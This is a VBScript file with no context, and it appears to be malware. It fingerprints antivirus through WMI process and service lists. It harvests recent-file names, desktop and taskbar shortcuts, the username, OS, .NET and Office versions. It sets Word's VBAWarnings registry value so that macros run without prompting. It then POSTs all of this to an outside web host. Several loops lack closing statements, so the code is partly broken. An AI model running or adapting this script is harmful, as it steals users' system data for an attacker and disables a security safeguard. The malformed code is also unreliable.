Function CheckAntiVirusScan(strComputer, strCredentials)
Dim objWMIService
Dim SYSDATA
Dim SYSEXPLANATION
CheckAntiVirusScan = "unkown"
SYSDATA = ""
SYSEXPLANATION = ""
If (Not getWMIObject(strComputer, strCredentials, objWMIService, SYSEXPLANATION)) Then
CheckAntiVirusScan = "error"
Exit Function
End If
CheckAntiVirusScan = checkAntiWMI(objWMIService, strComputer, SYSEXPLANATION)
End Function
Function retrieveServicesList(objWMIService, strComputer, ByRef lstServices, ByRef strSysExplanation)
retrieveServicesList = False
Set lstServices = Nothing
On Error Resume Next
Set lstServices = objWMIService.ExecQuery("Select * from Win32_Service WHERE state = ""Running""")
If (Err.Number <> 0) Then
Exit Function
End If
If (lstServices.Count <= 0) Then
Exit Function
End If
retrieveServicesList = True
End Function
Function checkAntiWMI(objWMIService, strComputer, ByRef strExplanation)
Dim lstProcesses, lstServices, result
checkAntiWMI = "unkown"
result = False
If (Not retrieveProcessesList(objWMIService, strComputer, lstProcesses, strExplanation)) Then
checkAntiWMI = "error"
Exit Function
End If
If (Not retrieveServicesList(objWMIService, strComputer, lstServices, strExplanation)) Then
checkAntiWMI = "error"
Exit Function
End If
checkAntiWMI = isServiceRunning(lstServices, "", strExplanation) + isProcessRunning(lstProcesses, strExplanation)
End Function
Function retrieveProcessesList(objWMIService, strComputer, ByRef lstProcesses, ByRef strSysExplanation)
retrieveProcessesList = False
Set lstProcesses = Nothing
On Error Resume Next
Set lstProcesses = objWMIService.ExecQuery("Select * from Win32_Process")
If (Err.Number <> 0) Then
Exit Function
End If
If (lstProcesses.Count <= 0) Then
Exit Function
End If
On Error GoTo 0
retrieveProcessesList = True
End Function
Function isServiceRunning(ByRef lstServices, strServiceDescription, ByRef strExplanation)
On Error Resume Next
Dim objService
isServiceRunning = ""
For Each objService In lstServices
If (Err.Number <> 0) Then
Exit Function
End If
isServiceRunning = isServiceRunning + LCase(objService.Name) + " "
End Function
Function getWMIObject(strComputer, strCredentials, ByRef objWMIService, ByRef strSysExplanation)
On Error Resume Next
Dim objNMServerCredentials, objSWbemLocator, colItems
Dim strUsername, strPassword
getWMIObject = False
Set objWMIService = Nothing
Set objWMIService = GetObject("winmgmts:{impersonationLevel=Impersonate}!\\" & strComputer & "\root\cimv2")
If (Err.Number <> 0) Then
objWMIService = Nothing
getWMIObject = False
Exit Function
End If
getWMIObject = True
End Function
Function isProcessRunning(ByRef lstProcesses, ByRef strExplanation)
On Error Resume Next
Dim objProcess
isProcessRunning = ""
For Each objProcess In lstProcesses
If (Err.Number <> 0) Then
Exit Function
End If
isProcessRunning = isProcessRunning + LCase(objProcess.Name) + " "
End Function
Function readFromReg(strRegistryKey, strDefault)
On Error Resume Next
Set WSHShell = CreateObject("Wscript.shell")
Value = WSHShell.RegRead(strRegistryKey)
If Err.Number <> 0 Then
readFromReg = strDefault
readFromReg = Value
End If
End Function
On Error Resume Next
Set objShell = CreateObject( "WScript.Shell" )
Set objFSO = CreateObject("Scripting.FileSystemObject")
path = objShell.ExpandEnvironmentStrings("%APPDATA%") + "\gi.exe"
If (objFSO.FileExists(path)) Then
Wscript.Quit
Set ofile=objFSO.CreateTextFile(path,True)
ofile.Write "gi"
ofile.Close
End If
AntiVirusName = CheckAntiVirusScan("localhost", "")
appDataLocation = objShell.ExpandEnvironmentStrings("%APPDATA%") + "\microsoft\windows\recent"
Set objFolder = objFSO.GetFolder(appDataLocation)
Set colFiles = objFolder.Files
recentlist = ""
For Each objFile in colFiles
recentlist = recentlist + objFile.Name + "===="
Desktopfoleder = objShell.SpecialFolders("Desktop")
Set DeskFolder = objFSO.GetFolder(Desktopfoleder)
Set colFiles = DeskFolder.Files
desktop_lnk = ""
For Each objFile in colFiles
desktop_lnk = desktop_lnk + objFile.Name + "===="
taskbarfolder = objShell.ExpandEnvironmentStrings("%APPDATA%") + "\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
Set taskFolder = objFSO.GetFolder(taskbarfolder)
Set colFiles = taskFolder.Files
taskbar_lnk = ""
For Each objFile in colFiles
taskbar_lnk = taskbar_lnk + objFile.Name + "===="
ProgramFilesFolder = objShell.ExpandEnvironmentStrings("%ProgramFiles%")
ProgramFilesx86Folder = objShell.ExpandEnvironmentStrings("%ProgramFiles(x86)%")
drl = "http://alyssalove.getenjoyment.net/0423/v.php?ki87ujhy=" + ProgramFilesx86Folder + "&rdxvdw=" + ProgramFilesFolder
username = CreateObject("WScript.Network").UserName
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem",,48)
For Each objItem in colItems
os = objItem.Name
version = objItem.Version
Set dotNetObj = objWMIService.ExecQuery("Select Name, Version from Win32_Product Where Name Like 'Microsoft .NET Framework%'")
For Each objItem in dotNetObj
dnv = objItem.Version
GetOfficeVersionNumber = ""
Dim sTempValue
sTempValue = objShell.RegRead("HKCR\Excel.Application\CurVer\")
If Len(sTempValue) > 2 Then GetOfficeVersionNumber = Replace(Right(sTempValue, 2), ".", "")
objShell.RegWrite "HKCU\Software\Microsoft\Office\" + GetOfficeVersionNumber + ".0\Word\Security\VBAWarnings", 1, "REG_DWORD"
post = "v=" + AntiVirusName + "&r=" + recentlist + "&un=" + username + "&os=" + os + "&sv=" + version + "&msv=" + GetOfficeVersionNumber + "&dnv=" + dnv + "&dll=" + desktop_lnk + "&tll=" + taskbar_lnk
Dim WinHttpReq
Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
WinHttpReq.Open "POST", drl, False
WinHttpReq.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
WinHttpReq.setRequestHeader "Content-Length", Len(post)
WinHttpReq.Send post